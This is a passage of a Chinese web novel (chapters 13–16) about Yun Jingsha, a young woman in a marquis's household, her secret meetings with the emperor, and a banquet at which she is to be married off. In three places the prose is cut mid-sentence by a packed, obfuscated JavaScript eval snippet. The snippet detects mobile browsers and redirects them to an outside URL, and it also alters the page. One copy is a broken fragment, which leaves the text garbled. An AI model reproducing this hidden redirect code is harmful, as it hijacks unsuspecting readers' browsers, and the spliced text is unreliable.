想了想,尹寻春戳了戳芳音的手臂,用屋内所有人都能听见的音量道:“芳音姐姐,你方才想和我说什么?” “啊?” 见所有人的视线落在自己身上,芳音愣愣的,“我要和你说什么?” “我不知道才问你啊。”尹寻春理直气壮,“你只说了个‘夫人’,随后就没话音了,我还等着听你说呢。” “对对对!” 芳音一拍大腿,想起来了。 她偷偷往外看了眼,凑近云镜纱,小声道:“姑娘,你猜我去拿饭时听见了什么?” 云镜纱用帕子轻擦唇,轻声道:“夫人怎么了?” 芳音眼睛大亮,压低的嗓音掩饰不住兴奋,“夫人今晨误食了落花生,脸上生痒,抓出许多疹子。夫人身娇体贵,哪受得了这等苦,凝芳阁闹得人仰马翻的,当即请了太医,据说今日为夫人取饭的丫鬟都被发落了。” 云镜纱微愣。 舒含昭吃不得落花生? 这么隐秘要紧的事,舒含昭的丫鬟们不该如此大意。 愣神中,又听芳音道:“上次夫人梦魇,凝芳阁就换了批丫鬟,如今竟又换了。” 话音戚戚,颇有些怜悯遭受无妄之灾的丫鬟们。 既是换了丫鬟,出了纰漏也正常。 云镜纱抛开此事,叹了声气,“为奴为婢者,皆身不由己。” 不过听闻舒含昭倒霉,云镜纱的心情确实好转不少,吃了敏良端来的药,寻来笸箩,慢条斯理地绣香囊。 午后雨停了,云镜纱让芳音放只纸鸢。 芳音把东西寻来,嘟囔一句,“姑娘可真爱放纸鸢。” 尹寻春默默低头。 姑娘哪是爱放纸鸢,分明是爱见某个人才对。 幸好姑娘不爱让人守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279139|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜,又有她暗中盯着敏良几人,这才没露馅。 露在外头的眼睛弯弯,云镜纱笑意柔和,“我不喜欢放,倒是喜欢看人放。你若不喜,我另外再找个人来。” “喜欢!奴婢当然喜欢!” 芳音连忙拒绝,快步出门。 能有光明正大偷懒玩耍的机会,干嘛要便宜别人。 敏良勾唇,尹寻春毫不客气地笑出声。 芳音瞪她一眼,“哼”一声偏头。 …… 长极宫。 四角瑞兽香炉上空香烟袅袅,有风自窗外来,吹得白雾朦胧。 一只手关了窗,垂首恭敬后退。 “啪——” 折子被阖上,修长五指按上太阳穴,眉心渐渐起了褶皱。 “陛下。” 高德容奉上热茶。 俊美男子神情淡淡,一手撑头,单手拿起杯盏喝了口。 “怎么,谁惹你了?” 平静殿宇内响起吊儿郎当的一声。 红木嵌黄杨木大理石落地屏风后,修长身影斜斜倚在榻上,玉冠歪斜,黑发散了一榻,一腿支起,手里捏了颗核桃,有一搭没一搭地剥着。 把核桃肉送到嘴里,男子双眼眯起,赞道:“香。” 领口处衣襟微敞,锁骨流畅,肤若白雪,桃花眼潋滟旖旎,端的是风流跌宕,放荡多情。 孟桓启淡淡横他一眼。 闻人故扔掉核桃壳,笑道:“杜空致那老匹夫?” 见孟桓启不答,闻人故便知自己猜对了。 他懒散道:“这老东西,越老越糊涂。听说他儿子最近和你表妹夫走得挺近,可要我请他们喝一杯?” 孟桓启语气平淡,“不用。” 闻人故失望一叹。瞥见孟桓启腰间墨玉,他又笑道:“看来表哥这礼是送到你心坎上了。这玉我瞧见的第一眼便觉和你相配。” 孟桓启垂首,凝着墨玉玉牌,眉间松了些许。 “哒哒”的脚步声进了殿,小太监恭声道:“陛下,卫大人求见。” 孟桓启:“宣。” 高德容服了一礼,恭顺退避。 他往外走时,一身玄衣,面覆银色面具,身形高大的男子与他侧身而过进了殿。 “陛下。” 行完礼后,他俯身在孟桓启耳畔低低道了两句。 孟桓启颔首,吩咐道:“去备上两盘蜜饯果脯。” 卫焱应,“诺。” 闻人故吃着松子百合酥,睨着孟桓启,“上次许玉淮进宫,你借口要赏他府中古画,去常远侯府找了一趟,没找着也罢,派人接着找就是,何至于你亲自去。去便去了,还带什么蜜饯果脯。” 他笑着挑眉,神色揶揄,“表弟,你不对劲哦。” 孟桓启不理他。 “啊。” 闻人故似想起了什么,咬了口百合酥,含糊道:“进宫时碰见太医院的周太医,据他所说,常远侯夫人误食了落花生,脸生红疹,很是可怖。” “我记得,几年前太后娘娘曾说过她吃不得落花生,当时你我正好在场。” 闻人故好奇道:“你那表妹疯得很,好端端的,你整她做甚?” 孟桓启:“与你无关。” 闻人故习惯了他这表弟不说人话,也不生气,笑眯眯地吃着点心。 本是诈他一诈,可他竟然没否认。 蜜饯果脯,明显是姑娘才喜欢的。 莫不是那常远侯府里藏了个绝代佳人,勾得他这冷血无情不近女色的表弟动了凡心? 他可真是,好奇得心都痒了。 14. 第 14 章 傍晚时,天上又淅淅沥沥下起了小雨。 云镜纱静静看着雨幕。 今夜他应当不会来了。 她并不失望,只是有些烦闷。 也不知这雨要下到何时,若是接连几日都是雨天,那她短时间内就不能见孟桓启了。 托着腮,云镜纱食指在膝上轻点。 屋内点起了烛灯,灯火通明,亮如白昼。 云镜纱又绣起了香囊。 绣了片刻,眼睛发涩,她揉了下眼睛。 敏良见状忙道:“姑娘还是白日做吧,夜里容易伤眼。” 云镜纱从善如流,“好。” 她放下笸箩,起身洗漱,早早歇下了。 丫鬟们各自退去。 时辰还早,云镜纱有些睡不着,脑子里各种念头飞来飞去,不知不觉来了困意。 即将入睡时,窗户发出轻响,她一下子惊醒,惊疑不定道:“齐公子?” “是我。” 得到肯定的回复,云镜纱惊讶。 下着雨,他竟也来了? 惊讶过后便是喜悦,她披衣下床,“公子可有淋湿?” 嗓音关怀,却也有一丝隐蔽的雀跃。 孟桓启摇头,“并未。” 云镜纱将床头的灯点起,缓步走到屋中。 男子穿着玄色绣紫金孔雀宽袖圆领袍,玉带勾出劲瘦腰身,头戴金冠,尊贵非凡。 眉眼沾染着湿意,弱化了漆黑凤眼里的冷峻之意,轮廓分明,俊美无俦。 “身子不好,怎么还在找?” 他以为今夜叫他来,是为了给他东西? 云镜纱弯了下眼,“公子误会了,我是想把它还给公子。” 细弱的腕子托着木盒,盒子内,墨玉手串静躺。 “给你的。”顿了顿,孟桓启又道:“谢礼。” “这太珍贵了。”云镜纱摇头拒绝,“况且,公子已经给过了,这我不能收。” “给出去的东西,我从不收回。” 孟桓启淡淡道。 云镜纱一时有些为难,但见孟桓启态度坚决,只好抿唇笑了笑,“那就谢过齐公子了。” 孟桓启下颌轻抬,眉心微松,从袖中取出一物,“药苦难咽,这个给你。” 云镜纱把灯和木盒一道放在桌上。 孟桓启扫一眼,瞧见笸箩内快要做完的香囊。 颜色款式,像是男子所用。 他收回视线,落在身侧的食指动了动。 接过孟桓启手中之物,云镜纱解开布结。 巴掌大的两个青花瓷罐,里边装了蜜饯果脯,色泽鲜亮,光是看着都觉得甜。 她幼年时很喜欢这些东西,那时吃上一颗,只觉得天都亮了,晃头晃脑的能高兴一整天。 云镜纱垂首笑了笑,抬眼时眸中似有星河涌动,眼睛一弯,星光四溢。 “齐公子,谢谢你。” 孟桓启视线微偏,虚虚落在灯烛旁的笸箩上,“不必谢。” “你身子还未好,早些歇息,我走了。” 云镜纱不会拿自己的身体开玩笑,那毒她只略沾了沾,吃下的,是让她脸生红疹的药。 喝了两日的药,又有尹寻春去取来的补药,身子几乎已经痊愈了。 只不过总得装得虚弱些。 云镜纱乖顺点头,“好,公子慢走。” 孟桓启颔首,翻过窗户,消失在黑夜中。 雨已经停了,屋内陷入寂静。 灯芯爆开,墙上人影有一瞬的扭曲。 云镜纱把布包回去,就着昏黄烛光将两罐蜜饯果脯塞进箱子角落,转身不再去看。 小时候是喜欢,可她现在已经长大了。 …… 出了常远侯府,卫焱立即迎上,“陛下。” 孟桓启看他一眼,“还未找到?” 卫焱摇头,“臣翻遍了整座侯府,始终毫无头绪。陛下。” 他迟疑道:“会不会,东西根本不在常远侯府?” “不可能。”孟桓启淡声,“定在许玉淮手上,你仔细些,莫要打草惊蛇。” “臣领命。” 瞧着孟桓启似是心情不错,卫焱道:“陛下出宫后,东平郡王远远跟上,被臣的人发觉,已将郡王请回去了。” 孟桓启眉心折起,“带路。” “是。” 东平郡王府离皇宫极近。 闻人故的母亲乃是与先帝一母同胞的定嘉长公主,长公主夫妇意外去世后,先帝怜惜外甥失怙失恃,将他接进宫与孟桓启作伴,先帝去后,二人少年相持,感情极好。 可闻人故搬出皇宫后越发不像样,常年流连烟花之地,与纨绔饮酒作乐,行为浪荡,有失体统,被御史参了又参,始终不为所动,而孟桓启也护着他,令朝中大臣恨铁不成钢。 一路进了东平郡王府,不见闻人故那些莺莺燕燕,孟桓启皱起的眉头略松。 门外暗卫迎面见了孟桓启,垂首行礼,“陛下。” 孟桓启摆手。 暗卫开了门,待孟桓启进屋后把门阖上,与卫焱点了点头。 卫焱颔首,尽职守在门外。 屋内。 闻人故倚在榻上,悠闲地拎了壶酒,如雪肌肤染上红意,眉眼醉意似桃花动人,醉玉颓山,轩然霞举,俊美得不似凡人。 瞥见孟桓启的身影,闻人故扔出手中酒壶,“表弟,你太过分了。” 孟桓启抬手,准确无误接住酒壶,“窥探君王行踪,是重罪。” 食指勾了勾酒壶,他冷声,“以下犯上,罪加一等。” 闻人故阴阳怪气道:“臣知错,任凭陛下处置。” 孟桓启乜他一眼,坐到榻上,给闻人故倒了杯酒,“别去打扰她。” 闻人故端起酒杯,应了他的赔罪,脸上怪模怪样的表情瞬间烟消云散。 刚喝了口酒,意识到孟桓启方才说了什么,一口呛住,咳嗽着震惊道:“你还真是去见姑娘了?!” 孟桓启皱眉,眼里含着嫌弃。 闻人故咳了一阵,擦去下巴酒渍,好奇追问:“她叫什么名字,年芳几何?生得好不好看?是什么性子?温柔的还是娇气的,亦或是泼辣的?” 闻人故府中养了三名美若天仙的姬妾,性子正对他说的三种。 孟桓启睨他,目含警告。 闻人故讪讪,“我就是好奇嘛。” 孟桓启给自己倒了杯酒,慢悠悠饮下。 闻人故长叹一气,“嗐”道:“你这性子这么闷,人家姑娘怎么受得了你?” “不过,她为何会在常远侯府?” 孟桓启咽下清酒,“她因缘巧合救下许玉淮,随他上京寻找失踪的兄长。” “救命之恩啊?那不得以身……” 眼见着孟桓启凤眼微眯,闻人故讷讷咽下剩余的话,轻咳一声,“她兄长怎么了,你没让人去找,好去和人家献殷勤?” 孟桓启摇头,注视着杯中酒水,“时隔多日,难以寻踪。” 连皇家暗卫都没找着,看来那姑娘的兄长是凶多吉少了。 闻人故默默怜惜一番常远侯府里那位美人,给孟桓启续上,又为自己倒了杯酒。 两人你一杯我一杯,壶中酒顷刻去了大半。 孟桓启支着腿,一手执酒杯望着窗外,小声呢喃一句。 “你说什么?什么玉啊鱼的?” 闻人故没听清。 孟桓启不答,闻人故便顺着他的视线看去。 外头不知何时又下起了雨,雨丝打湿了窗纱,顺着窗台飘进室内。 冷风吹来,闻人故打了个哆嗦,“原来是又下雨了,你今夜还回宫么?就在郡王府歇下吧。” 孟桓启摇头,放下酒杯站起,“回了。” 长腿一跨往前迈了一步,他再度强调,“她胆子小,别去扰她。” 闻人故嗓音懒散,“知道了知道了,一定不会惊扰了你的小美人。” 孟桓启瞥他一眼,大步迈出。 闻人故悠悠饮着酒,目送他的背影离去,眼尾扬起。 不去就不去,引她出来还不简单么? …… 融融春光自天穹照射而下,柳条垂落,根根如发,嫩绿柳叶在风中舒展。 一只白胖小手抓着柳条,不停地晃啊晃。 那是个三岁左右的小女孩,头顶扎了两个小揪揪,绿色发带落在脸侧,随着她的动作摇晃。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279140|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 小女孩生得玉雪可爱,另一只手抓了颗蜜饯在吃,把蜜饯放进嘴里时,甜得她杏眼都弯了,高兴地晃着手里的柳枝。 手上忽然起了痒意,女孩偏头去看,骤然爆发出尖叫。 “啊!虫!有虫!” 惊慌之下,手边蜜饯被打翻,尽数撒在对面埋头练字的小女孩身上。 那小姑娘与她一般大,二人生得并不相像,却是一样的玉雪可爱。 盘子撞上砚台,墨汁溅了出来,在小姑娘干干净净的衣裳上留下好几个拇指大的墨点。 小姑娘垂头,瞬间气炸了,“我的新衣服!” 哭声和尖叫声引来了人。 面容姣好的妇人匆匆走来,“怎么了,好端端的怎么哭了?” “娘亲!” 小女孩扑进妇人怀里,哭声凄惨,“虫,有虫,好恶心的虫子。” 小姑娘气,“你又没被咬,哭什么哭,我的衣服脏了都还没哭呢!” “好了好了,小雨最乖了,不哭了不哭了,娘亲帮你把虫赶跑好不好?” 妇人柔声安慰。 小女孩抽抽噎噎的,“好。” 安慰完小女孩,妇人松开她,又去看小姑娘的衣服,“没关系,几个墨点而已,娘亲待会儿绣上几朵花,就又变得漂漂亮亮了。姐姐不是故意的,小圆原谅她好不好?” 小圆生气,大声道:“魏妤娇气嘴馋又爱哭,一点都没有姐姐的样子,大姐姐那样的才是姐姐!我不要当妹妹,我要当姐姐!” 小雨一听,连忙摇头,嘟嘴反驳,“我才是姐姐。” “你只比我大了一天而已,我要做姐姐!” “不行的不行的,魏妤是姐姐,魏沅是妹妹。” “我不要!我就要做姐姐!” 小圆抱着妇人的腿撒娇,“娘,让我做姐姐好不好?” 小雨急忙抱住夫人另一条腿,可怜兮兮道:“娘,我才是姐姐,不要让小圆做姐姐。” 妇人哭笑不得,摸着两个女儿的小脑袋,无奈道:“小雨是姐姐,小圆是妹妹,出生时候就注定了,换不了的。” 小雨立即得意洋洋地看着小圆,“娘说了,我才是姐姐。” 小圆不服,“今天是小雨的生辰,可爹娘不给她过,而是准备明天和我的生辰一起过。生辰都能改,姐姐和妹妹当然也可以改!” 小雨慌了,抬起小脸眼泪汪汪地看着娘亲,“娘,为什么不给我过生辰?我不要和小圆一起过,我是姐姐,不要当妹妹。” “怎么了怎么了,爹的宝贝女儿怎么哭了?” 屋内走出一名三十来岁,容貌清俊,身着青布长衫的男子,他弯腰抱起小雨,温言细语地哄着。 妇人无奈,道出事情经过。 男子听完笑了,“小雨不想和妹妹一起过生辰?” 小雨哭得结结巴巴的,“不要。” 男子替她擦去眼泪,“那就分开过。” 小雨破涕为笑,“好呀好呀,我才是姐姐。” “既然是姐姐,把妹妹的裙子弄脏了,是不是该给她道歉?” 男子捏着女儿的小鼻子。 小雨扁着嘴,讷讷道:“小圆,对不起。” 小圆“哼”一声不理她。 小雨去看爹爹。 男子放下她,对她鼓励一笑。 小雨走过去拉住小圆的手,下巴放在她肩上,软软说:“小圆,我不是故意的,对不起啦。” 小圆鼓着腮帮子别过头。 小雨噘了噘嘴,凑上去在她鼓起的脸颊上亲了一口,甜甜笑道:“小雨最喜欢小圆啦!” 小圆别别扭扭的,不情不愿道:“好吧,看在你这么喜欢我的份上,原谅你了。” 她又高兴起来,“娘说要在我的裙子上绣花,娘绣的花可好看啦!” 小雨连忙道:“你要什么花,我替你选。” 小圆:“好啊好啊。” 父母的笑声爽朗欢快,姐妹俩手牵着手,和好如初。 阳光下,小姑娘们笑容明媚,发梢桃花娇美鲜艳。 风过桃花谢,花瓣飘飘扬扬,随着风一道爬上窗台。 帘帐之后,云镜纱闭着眼安静躺着,眼角带着湿意。 15. 第 15 章 接连几日都是雨天,云镜纱被困在桃蕊院,倒是把那香囊做好了。 玄色香囊用银线绣着丛丛青竹,挂着一枚墨绿穗子,低调内敛又不失精致。 芳音瞧见了,小声打趣,“姑娘准备何时给侯爷送去?” 云镜纱长睫低垂,“莫要胡说,这种近身的东西,夫人自会给侯爷准备,我这是绣来自己用的。” 芳音意外,“给自己绣的,姑娘为何不选鲜艳些的颜色?” 云镜纱点了下芳音的额心,笑道:“这么多话,我就喜欢这颜色。” 芳音失笑,“好,那奴婢给姑娘挂上。” 云镜纱把香囊递给芳音,站起身来。 芳音把香囊挂在她腰间,端详了两眼,“衣服不太搭。” 敏良道:“之前侯爷送来的料子里有匹花青色缎子,奴婢瞧着那颜色太沉了,便压在了箱底,现下倒是可以找出来做一身。” “不用这么麻烦。” 云镜纱拨了下腰间香囊,“没准过两日我就不喜欢它了,就这样吧。” 敏良便不再多言。 倒是芳音嘟囔一句,“哪有姑娘家喜欢花青色的,侯爷送那料子作甚?” 蹲在门口屋檐下的尹寻春听完全程,两眼一翻,脸上尽是嫌弃之色。 小气又没眼光的男人。 云镜纱走到铜镜前,取下面纱,“病了这些时日,都没去给老夫人请安,今日去趟承安堂吧。” 铜镜里映出一张完美无瑕的脸,肤若凝脂,琼鼻樱唇,眉如细柳,眸若星辰。 脸上的疹子已经消了,肌肤吹弹可破,白里透红。 不管黄老夫人怎么想,她总归是乐意给舒含昭添堵的。 云镜纱对着镜子里的自己浅浅一笑。 敏良走过来为云镜纱梳妆,她手巧,松松挽了个髻,簪了朵珠花,又沿着云镜纱的眉形描了一遍,连粉也不用扑,却让镜子里的少女有股天然去雕饰的美。 云镜纱托了托鬓边乌发,弯眼笑道:“走吧。” 到了承安堂,待丫鬟禀报后,绮琴亲自替云镜纱打帘,“姑娘请。” 云镜纱温声道谢,双手置于身前,朝上首的黄老夫人柔柔一礼,“请老夫人安。” 动作行云流水,端庄优雅,若是不知她的身份背景,还以为是哪家的贵女,丝毫看不出最初的生涩。 “好孩子。” 黄老夫人牵起云镜纱,在她脸上睃巡一通,脸上笑意加深,眼角褶子越发深刻。 拍着云镜纱的手,她叹道:“没事就好,听说你病了,我这几日夜夜都没睡好。这人老了,睡不好容易精神不济,秀妍和绮琴日夜守着我,腾不出身去桃蕊院看望,也不知云丫头可会怪我?” 这承安堂这么多丫鬟,难不成除了秀妍和绮琴就无人可用了? 云镜纱面上适时露出愧疚,“劳累老夫人为我忧心,都是镜纱不好。” “你这丫头,就是心善。”黄老夫人笑道:“心善也好,讨人喜欢。” 云镜纱抿唇浅笑。 这时,有小丫鬟进来禀报,“老夫人,夫人来了。” 黄老夫人眉头微动,“这昭昭十天半个月也不往我这承安堂来,今日怎么来了?” 刚进门的舒含昭听见这话,脸色瞬间僵了。 吴嬷嬷在身后点了点她背,舒含昭挺直腰背,大步而入,“祖母忘了,孙媳前几日吃错了东西,正养着病呢,若是来了承安堂,岂不是碍了祖母的眼?” 黄老夫人似这才想起这事,“对对对,祖母老了,这记性时好时坏的。昭昭啊,往后可要好生管管你院里的丫鬟,这么要紧的事都能出错,就是乱棍打死都不为过。” 舒含昭勾唇,眼里毫无笑意,“祖母放心,已经处置了。” 云镜纱屈膝,“夫人。” “云姑娘也在。” 舒含昭随意扫她一眼,见她面白无瑕,略有失望,淡声道:“坐吧。” 云镜纱低眉顺眼落座,余光睨着舒含昭。 肌肤光滑细腻,五官精致无缺,依旧高傲明媚似枝头月桂,看不出半分病容。 秀妍奉上茶,舒含昭吃了半盏,悠悠道:“敏淑长公主府设宴,孙媳昨日接了帖子,祖母可有兴致赴宴?” 黄老夫人摆手,“你们姑娘家的宴会,我这半截身子入土的老太婆去作甚?” 舒含昭用帕子轻点唇,视线慢悠悠落在云镜纱身上,“那孙媳就带云姑娘去了。” “云丫头?” 黄老夫人看向云镜纱,思索须臾,颔首应允,“那便带云丫头去见识见识吧。” 云镜纱一怔,连连摆手,面色略慌,“老夫人,我不行的。我什么也不懂,万一给侯府惹出笑话怎么办?” 黄老夫人笑着安抚,“早晚都要适应这种场面,有你昭姐姐带着,你尽管去。” 舒含昭暗暗咬牙。 什么叫早晚都要适应这种场面? 谁又是她姐姐? 她猜到了黄老夫人打量着把云镜纱给许玉淮做妾,可这么明目张胆,着实令她难以压制内心的怨愤。 舒含昭深吸气,眼尾一动,勾出一抹旖旎笑意。 祖母若是知道夫君的打算,怕是要气闷得吃不下饭了。 她不紧不慢地抿了口茶。 黄老夫人态度坚定,云镜纱只好勉强应下,轻蹙的眉宇含着挥之不去的惶恐。 “那、那就劳烦夫人了。” 舒含昭勾唇,冷淡颔首。 …… 能去赴敏淑长公主的宴,芳音兴奋不已,在外边还能掩饰一二,等回了桃蕊院,脸上的笑一直挂着,扬起的嘴角压都压不住。 “姑娘,你带我去吧。”芳音眼巴巴地看着云镜纱。 桃杏也一脸期待,不过她有自知之明,知道云镜纱定不会带她去,默默出去,免得听了难受。 云镜纱含笑点头,“那就你和敏良一道与我去吧。” 芳音满脸欢喜,欢呼道:“姑娘最好了。” 云镜纱坐在榻上看着她笑,无奈摇头。 端起桌上茶盏,她对尹寻春使了个眼色。 尹寻春微不可察点头。 与芳音相比,敏良可算是宠辱不惊,冷静为云镜纱挑选赴宴的衣裳。 进侯府后,黄老夫人送了成衣,许玉淮送的料子大部分也被敏良做了衣裳,对云镜纱来说,她的衣物已经够多了。 但在敏良眼里却不算什么,领着两个小丫鬟翻箱子,举着裙衫遥遥往云镜纱身上比划。 小丫鬟忽然“咦”了一声,“敏良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279141|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,这是什么?” 她一左一右抱着两个罐子,满脸疑惑。 敏良拧眉,“这东西倒是没见过。” 云镜纱往这边瞟了眼,笑道:“不知是寻春在哪儿弄来的,你们分了吧。” 尹寻春看着姑娘眨眨眼,瞬间意会,飞快跑过去从小丫鬟手里夺走其中一罐,“我好不容易藏的,给我留一罐!” 芳音气,“这个寻春,又不是不让她吃,藏什么藏。这东西藏久了可是会惹虫蚁耗子的。” 她大步走过去分了果脯,把空罐子随手搁在桌上。 敏良看看手上果脯,又看那精美剔透,不似寻常物的青花瓷小瓷罐,默默把果脯放入口中,继续搭配衣裙香包首饰。 …… 赴宴那日,云镜纱起了个大早。 梳完妆后,吃着尹寻春取回来的早膳,她疑声,“芳音呢?” 敏良摇头,尹寻春啃着馒头默默道:“没看着。” 正说着,芳音从门外走来,一张小脸煞白,嘴唇毫无血色,哭丧着脸道:“姑娘,我坏了肚子,怕是去不了长公主府了。” “怎么会?”云镜纱担忧,“严重么,可要请大夫?” 芳音咬牙,“不用,歇歇一日就好。” 窗外,桃杏正跟丫鬟们扫院子。 自从出了云镜纱中毒一事后,敏良芳音便不让桃杏插手云镜纱的饮食,平日相处也不冷不淡的,她倒也识趣,并不在跟前晃荡。 只是让她跟去长公主府…… 芳音又去看尹寻春,话里藏着酸味,“让寻春去好了。” “啊?”尹寻春呆呆应,“好。” 芳音叹气,“你可要替我好好看看长公主府啊。” 尹寻春重重点头,小圆脸郑重其事道:“好!” 云镜纱正要开口,芳音脸色一变,匆匆跑出门。 无奈之下,云镜纱只好取了银钱,让小丫鬟给她拿药,带着敏良和尹寻春去了凝芳阁。 舒含昭正好吃完了早膳,斜了云镜纱一眼,将帕子一甩,拂袖道:“走吧。” 她穿着苏梅色海棠暗纹衫子,外罩水红色绣蝶纹长褙子,搭配赤缇色细褶裙,腰上系着环佩香囊,行走间叮当作响,香风阵阵。 鬓发如云,头戴捻金牡丹玉石花冠,簪翠羽珍珠凤钗,白嫩双耳上一对红宝石水滴耳坠,修长脖颈带着七种宝石串成的璎珞,华贵精美,堆金砌玉,不可逼视。 云镜纱乖顺跟在舒含昭身后。 侯府门前备了马车,舒含昭踩着马凳,方要进去,回首对着云镜纱勾了勾手,“你随我一起。” 云镜纱怔了片晌,见舒含昭眉目不耐,忙道:“好。” 她提着裙子上了马车。 敏良和尹寻春对视一眼,带着担忧随丫鬟们去了后面一辆。 马车极为宽敞,软榻矮桌一应俱全。 云镜纱目光扫过,自觉坐在软榻边的矮凳上。 她如此乖觉,倒是让舒含昭有些意外。 歪在榻上,舒含昭闭目养神。 她不开口,云镜纱自然不会出声,一路沉默。 常远侯府离敏淑长公主府不远,大约过了一刻钟,眼看着公主府就在不远处,舒含昭睁眼,勾了勾唇,“可知我为何带你赴宴?” 16. 第 16 章 云镜纱茫然抬睫,老老实实摇头,“夫人的心思,我如何能猜?” 舒含昭冷笑,“话说得如此好听,你就是凭借这个讨好祖母和夫君的?” 云镜纱两道柳眉微蹙,眸中泪光若有似无,娇弱可怜,“夫人……” “此处无人,不必对我惺惺作态,伤眼。” 舒含昭毫不留情。 不过想到接下来的话,她又饶有兴致勾起唇,目光虚虚落在云镜纱脸上,“敏淑长公主去岁丧夫,太妃娘娘着急为她择婿,今日这宴上的青年才俊,皆供她挑选。” 舒含昭闷笑,含笑嗓音里藏不住轻蔑讽刺,“你虽无家世,但好歹也是夫君的救命恩人。夫君的意思,是让我为你选一位夫婿,以常远侯义妹的身份出嫁。” 云镜纱先是一怔,随后险些笑出来。 这许玉淮可当真有意思,他二人担了个救命之恩的名头,实则并无干系,说到底,她不过暂住常远侯府,她没点头,许玉淮有什么资格决定她的婚姻大事? 他哪儿来的脸? 且敏淑长公主设宴,往来定是世族勋贵之子,光是看舒含昭这幸灾乐祸的模样也能知道,她选的,能是什么好东西? 怕不是要送她去做妾吧? 让救命恩人做妾,这是什么恩将仇报的贱.人。 忍下胸腔内萦绕的怒意,云镜纱眸底溢出泪花,不可置信地看向舒含昭。 “什、什么?侯、侯爷要给我做、做媒?” 这一脸的伤心欲绝,真是看得舒含昭舒坦极了。 “是啊。” 她漫不经心应了一声,抚着鬓边凤钗,笑道:“云姑娘放心,我定会给你寻门好亲事。” 舒含昭站起身,冷冷道:“行了,长公主府到了。别哭哭啼啼的,丢了我侯府的脸。” 早已下了马车的黛春夏琼伸手扶住舒含昭。 云镜纱凝视她的背影,眼里的泪渐渐散去。 她毫无温度地牵了牵唇。 那她就等着看,舒含昭能给她寻门什么好亲事。 …… 长公主府的富贵与常远侯府不遑多让,甚至胜上三分。 长公主母家在江南,公主府内亭台楼阁,轩榭廊坊,小桥流水,假山成群,可见江南风光。 敏淑长公主爱花,府内随处可见绽放的当季花卉,桃花娇美,梨花淡雅,金梅明媚,杜鹃艳丽,茶花婀娜,翩翩蝶影相映成趣,美不胜收。 园内仪态优美的姑娘们相携赏花,融融日光轻照脸庞,被团扇遮掩的面容若隐若现,自有“犹抱琵琶半遮面”的朦胧娇态。 湖面映着岸边杨柳,粼粼波光荡漾,微风轻拂,与水面杨柳一道被传过来的,还有对面男子不时的喝彩声。 云镜纱收回视线,静静跟在舒含昭身后。 “昭昭来了。” 人群中众星捧月的女子撇下众人,笑着朝舒含昭走来。 女子身着华服,金色衣裙在阳光下熠熠生辉,头戴三色宝石嵌金凤冠,斜插一对点翠金牡丹步摇,行走时仪态万千,华贵非凡。 敏淑长公主孟月珍拉住舒含昭的手,亲昵嗔道:“好个没良心的,常远侯回来这么些时日了,也不来公主府看看我。” 舒含昭笑:“我忙着陪我夫君呢,哪有工夫看你。” 孟月珍佯怒,“好啊,说你没良心还真是没良心,有了夫君,就把我忘一旁了。” 口中虽怒,神色却很亲近,看得出两人感情不错。 舒含昭打趣,“今日这么多青年才俊,你既嫉妒,找一个做驸马不就成了?” 孟月珍脸上飘红,“你个不害臊的,谁嫉妒了?” 二人闹了闹,纷纷笑了。 笑完,孟月珍好奇看着舒含昭身后的云镜纱,“咦,这姑娘倒是有些面生。” 舒含昭脸上笑意淡了,随口道:“她与侯府有旧,因父母双亡前来投奔,此次带她出来见见世面。” 嗓音冷淡,“还不快见过敏淑长公主?” 云镜纱屈膝,“云镜纱见过敏淑长公主。” 她轻轻抬脸,倒是让孟月珍看清了容貌,眼前一亮,不由赞道:“好一个标致的姑娘。” 云镜纱牵唇,柔声道:“长公主谬赞。” 见舒含昭神色淡淡,孟月珍笑了笑,“云姑娘不必拘束,随意游玩即可。” 说着挽住舒含昭的手,“走,我带你去那边瞧瞧。” 竟是撇下她离去了。 云镜纱饶有兴致地看着孟月珍的背影。 这位长公主,有些意思。 “姑娘。”尹寻春鼓了鼓腮帮子,“她们就这么把姑娘丢下了。” “没事。” 云镜纱温和笑着,“我们随便走走吧。” 她带着尹寻春和敏良漫步在园子里。 长公主府的风景着实不错,云镜纱走走停停,真当自己是来赏景的。 也有姑娘见她容貌不俗上前攀谈,得知她客居常远侯府,兄长只是个举人,没了结交的兴趣,敷衍两句便与友人离开。 云镜纱也不恼,沿着小径一路赏花。 “廷儿,你慢些!” 前方女声焦急喊道。 “娘亲,不快些就看不见爹爹射柳了!” 男童兴奋的嗓音响起,云镜纱正偏首,腿上忽然一重,身子不受控制地往后一仰,幸好尹寻春眼疾手快把她扶住。 尹寻春皱眉,看着坐在地上的男童,不满道:“你这小孩,怎么莽莽撞撞的。” 敏良拉她袖子摇摇头,扶住云镜纱。 